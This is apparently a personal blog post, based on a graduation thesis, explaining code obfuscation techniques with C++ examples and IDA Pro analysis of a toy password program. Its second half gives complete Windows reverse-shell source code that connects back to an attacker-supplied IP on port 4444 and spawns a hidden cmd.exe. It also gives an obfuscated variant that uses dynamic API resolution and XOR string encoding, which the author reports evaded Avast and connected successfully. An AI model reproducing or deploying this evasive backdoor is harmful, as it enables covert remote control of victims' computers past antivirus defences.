Code Obfuscation in Practice: From Reverse Engineering to Antivirus Evasion

Code obfuscation is the digital equivalent of a shell game. Most people think it is just about making code look messy with weird variable names, but it is actually a deeper, more intentional way to dismantle how a program works while keeping its output exactly the same. The goal is simple: build a maze that traps, exhausts, and defeats anyone trying to reverse-engineer your work.

This blog explores the core techniques behind this approach, which I’ve refined through my graduation thesis. Rather than a rigid structure, these methods work together to turn clean, logical code into a chaotic, non-linear mess that is nearly impossible to follow.

First is Lexical Scrambling. This is where we swap human-readable names like user_password for randomized, cryptographic hashes like v_8b2d1c. It instantly turns professional code into an indecipherable language that makes no sense to human eyes or automated analysis tools.

// Before
int password = 1234;

// After
int v_8b2d1c = 1234;

Next is Control Flow Flattening. We take the linear path of a program and shatter it. Instead of the code flowing from point A to point B, it gets broken into fragments managed by a central dispatcher. The program jumps around based on a secret state variable, which destroys the original logical flow:

// Before
a();
b();

// After
int s = 0;
while (true) {
    switch (s) {
        case 0: a(); s = 1; break;
        case 1: b(); return;
    }
}

Third, we use Opaque Predicates to lay traps. We insert fake, unreachable code paths guarded by complex math that always resolves in a specific way, such as (7 * x * x - 1) != (y * y). Anyone trying to reverse-engineer this logic will waste hours analysing "dead" paths that lead absolutely nowhere.

// Before
login();

// After
if ((5 * 5) % 2 == 1)
    login();
else
    fakeCode();

Finally, there is Metamorphic Rewriting. This forces the code to become a moving target that changes its own shape while it runs. By using inline assembly to XOR and decrypt instructions at the very last second, we ensure that there is no static pattern or signature for an attacker to pin down:

// In-place memory mutation via XOR
asm volatile (
    "pop edx;"
    "xorb $0x28, (edx);"
    "call target;"
);

By stacking these techniques, we make software incredibly difficult to understand, forcing an analyst to navigate a chaotic maze rather than a straightforward path. In the next parts, we will look at how this impacts your security posture, starting with defensive applications and moving into how these methods can be used to bypass security controls (Antivirus) in an offensive context.

To see what these techniques actually do, let’s firstly compare two versions of the same program. Both ask the user for a password and grant access only if the correct value is entered. The only difference is that one is written normally, while the other has been obfuscated using the techniques discussed earlier.

#include <iostream>
int main()
{
    int password;
    std::cout << "Enter Password: ";
    std::cin >> password;
    if (password == 1234)
    {
        std::cout << "Welcome back king";
    }
    else
    {
        std::cout << "Access denied";
    }
    return 0;
}

The program stores the user’s input in the password variable and performs a direct comparison against the value 1234. If the values match, the success message is displayed.

Image1.1: Execution of simple.exe

Opening the executable in IDA Pro immediately reveals how simple the program really is. It reconstructs the code with very little effort, producing a control-flow graph that closely resembles the original source code.

Image 1.2: IDA Pro - simple.exe

The graph clearly shows the program’s execution path. It reads the user’s input, performs a single comparison, and branches into either the success or failure message. There is very little ambiguity, allowing an analyst to understand the program almost immediately.

Image 1.3: IDA Pro — Password Comparison

The password is just as easy to locate. The comparison instruction

cmp [rsp+38h+var_C], 4D2h

contains the hexadecimal value 4D2h, which is simply 1234 in decimal.

Tip: In IDA Pro, you can display this value in decimal by selecting:

Edit → Operand type → Number → Decimal

Image 1.4: IDA Pro - Password in Decimal

After changing the operand format, the password becomes visible as 1234. An analyst no longer needs to infer the correct value—it is shown directly inside the comparison instruction.

In other words, the binary exposes both its control flow and its secret with very little effort.

Now let’s compare it with the obfuscated version.

#include <iostream>
#include <string>

// Phase 1: Identifier Scrambling (main function logic moved to f_8b2d1c)
int f_8b2d1c(int input_val)
{
    // Phase 2: Variable declaration & Central Dispatcher State
    unsigned int swVar = 1;

    // Phase 2: Central Dispatcher Architecture
    // Logic is flattened to destroy linear control flow
    while (swVar != 0)
    {
        switch (swVar)
        {
        case 1:
            // Phase 3: Bi-Opaque Predicate
            // The check is mathematically locked; static analysis tools cannot prune this branch
            if ((7 * (input_val * input_val) - 1) == 10659291)
            {
                swVar = 2; // Route to success
            }
            else
            {
                swVar = 3; // Route to failure
            }
            break;

        case 2:
            // Phase 4: Metamorphic/Runtime Mutation
            // "Welcome back king" properly XOR'd with 0x05
            {
                char e[] = {0x52, 0x60, 0x69, 0x66, 0x6A, 0x68, 0x60, 0x25, 0x67, 0x64, 0x66, 0x6E, 0x25, 0x6E, 0x6C, 0x6B, 0x62};
                for (int i = 0; i < 17; i++)
                {
                    std::cout << (char)(e[i] ^ 0x05);
                }
            }
            swVar = 0; // Terminate
            break;

        case 3:
            std::cout << "Access denied";
            swVar = 0; // Terminate
            break;
        }
    }
    return 0;
}

int main()
{
    int password;
    std::cout << "Enter Password: ";
    std::cin >> password;
    f_8b2d1c(password);
    return 0;
}

Although this program behaves exactly like the previous one, its internal structure is very different.

The first noticeable change is lexical scrambling. Meaningful function names are replaced with generated identifiers such as f_8b2d1c. While this has no effect on execution, it removes useful context that normally helps an analyst understand the purpose of a function.

The second change is control flow flattening. Instead of executing from top to bottom with a simple if statement, the entire program is driven by a state variable (swVar). Execution repeatedly enters the while loop, and the switch statement decides which block runs next. Rather than following a clear sequence, the program jumps between different states until it eventually terminates. This makes the execution path much harder to reconstruct.

Get Izzat Mammadzada’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The password verification has also been replaced with an opaque predicate. Instead of directly checking whether the password equals 1234, the comparison is hidden inside a mathematical expression:

if ((7 * (input_val * input_val) - 1) == 10659291)

A reverse engineer must first understand what this expression represents before determining which input satisfies the condition. Unlike the original program, there is no obvious constant revealing the password.

Finally, the success message demonstrates runtime XOR encoding. Instead of storing "Welcome back king" as plain text inside the executable, the program stores only encoded bytes.

char e[] = { ... };

std::cout << (char)(e[i] ^ 0x05);

Each byte is XORed with the key 0x05 immediately before being printed. As a result, anyone searching the binary for the string "Welcome back king" will find only seemingly random hexadecimal values rather than readable text.

Image 2.1: Execution of comple.exe

Opening the obfuscated executable in IDA Pro immediately shows a much more complicated picture.

Image 2.2: IDA Pro - complex.exe

Image 2.3: IDA Pro - complex.exe

Compared to the original program, the control-flow graph is no longer clean and linear. The dispatcher, state transitions, mathematical conditions, and encoded data all contribute to a graph that is significantly more difficult to understand. Instead of reading the logic directly, an analyst must carefully follow each state transition, determine the purpose of the mathematical expression, and decode the XOR-encoded data before fully understanding the program.

The functionality has not changed at all — the program still asks for a password and prints the same messages — but the effort required to analyze it has increased dramatically. What was once a straightforward reverse-engineering task now requires considerably more manual analysis, illustrating the primary goal of code obfuscation: preserving functionality while making understanding as difficult as possible.

So far, we have covered how obfuscation hardens software against analysis. Now, we shift to a red-team perspective: how these same principles bypass security measures like Antivirus (AV) or Endpoint Detection and Response (EDR) systems to maintain a connection, such as a reverse shell.

To demonstrate this, I created two versions of the same application. Both establish a network connection and launch a command shell. Their functionality is identical, but the way they are implemented is very different.

The first version is written in a straightforward manner.

#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

int main()
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("PUT YOUR IP HERE");

    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR)
    {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    CreateProcessA(NULL, (LPSTR) "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

    CloseHandle(pi.hThread);

    // Keep sending whitespace to prevent cmd from detecting EOF
    while (WaitForSingleObject(pi.hProcess, 100) == WAIT_TIMEOUT)
    {
        send(sock, "\n", 1, 0);
        Sleep(1000);
    }

    CloseHandle(pi.hProcess);
    closesocket(sock);
    WSACleanup();

    return 0;
}

The program imports Windows networking APIs directly, stores "cmd.exe" as a plain-text string, and follows a predictable execution flow. There is no attempt to hide its behaviour or internal structure.

The program can be compiled using:

g++ simple.cpp -o simple.exe -lws2_32

Image 3.1: Simple code compiling

For this experiment, Avast Free Antivirus was running with Core Shield, Ransomware Shield, Firewall enabled using its default settings.

As soon as the code is compiled, Avast immediately scans the file and identifies it as a Backdoor, preventing it from being executed. This result is not surprising. The executable exposes several characteristics commonly associated with reverse shells, including direct Windows networking APIs, a visible cmd.exe string, and a predictable import table. Combined, these features provide enough information for Avast to classify the file during its initial scan.

Now let’s compare it with the obfuscated version.

#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

int main()
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // Dynamic resolution to hide imports
    auto pWSASocketA = (SOCKET(WSAAPI *)(int, int, int, LPWSAPROTOCOL_INFOA, DWORD, DWORD))
        GetProcAddress(GetModuleHandleA("ws2_32.dll"), "WSASocketA");
    auto pConnect = (int(WSAAPI *)(SOCKET, const struct sockaddr *, int))
        GetProcAddress(GetModuleHandleA("ws2_32.dll"), "connect");
    auto pCreateProcessA = (BOOL(WINAPI *)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION))
        GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
    auto pSend = (int(WSAAPI *)(SOCKET, const char *, int, int))
        GetProcAddress(GetModuleHandleA("ws2_32.dll"), "send");

    SOCKET sock = pWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("PUT YOUT IP HERE");

    if (pConnect(sock, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR)
    {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    // XOR-obfuscated "cmd.exe"
    char cmd[] = {0x66, 0x68, 0x61, 0x2b, 0x60, 0x7d, 0x60, 0x00};
    for (int i = 0; i < 7; i++)
        cmd[i] ^= 0x05;

    pCreateProcessA(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

    CloseHandle(pi.hThread);

    while (WaitForSingleObject(pi.hProcess, 100) == WAIT_TIMEOUT)
    {
        pSend(sock, "\n", 1, 0);
        Sleep(1000);
    }

    CloseHandle(pi.hProcess);
    closesocket(sock);
    WSACleanup();

    return 0;
}

Instead of importing networking functions directly, the executable resolves them dynamically at runtime using GetProcAddress(). This reduces the amount of information exposed through the Import Address Table (IAT).

Likewise, "cmd.exe" is no longer stored as a readable string. Instead, it is XOR-encoded and reconstructed only moments before it is needed.

char cmd[] = {
    0x66, 0x68, 0x61, 0x2b,
    0x60, 0x7d, 0x60, 0x00
};

for (int i = 0; i < 7; i++)
    cmd[i] ^= 0x05;

To anyone inspecting the executable, the original command is no longer visible. The overall functionality remains identical, but the binary now exposes far less useful information during static inspection

Image 4.1: Complex code compiling

Unlike the previous executable, Avast does not immediately classify the file as malicious. Instead, the antivirus briefly displays a notification indicating that the executable is being scanned. After completing its inspection, Avast flags the file as safe, allowing it to execute normally. As shown in the GIF, the reverse shell successfully connects back to the listener while Avast remains enabled throughout the entire process.

The comparison highlights a clear difference between the two binaries.

• simple.exe is detected immediately after compilation and classified as a Backdoor, preventing execution.
• complex.exe initially triggers Avast’s cloud analysis, but after inspection it is classified as safe and allowed to run. The reverse shell establishes a successful connection without being blocked.

NOTE: This blog references my graduation thesis. The complete source code and supporting files are available on GitHub.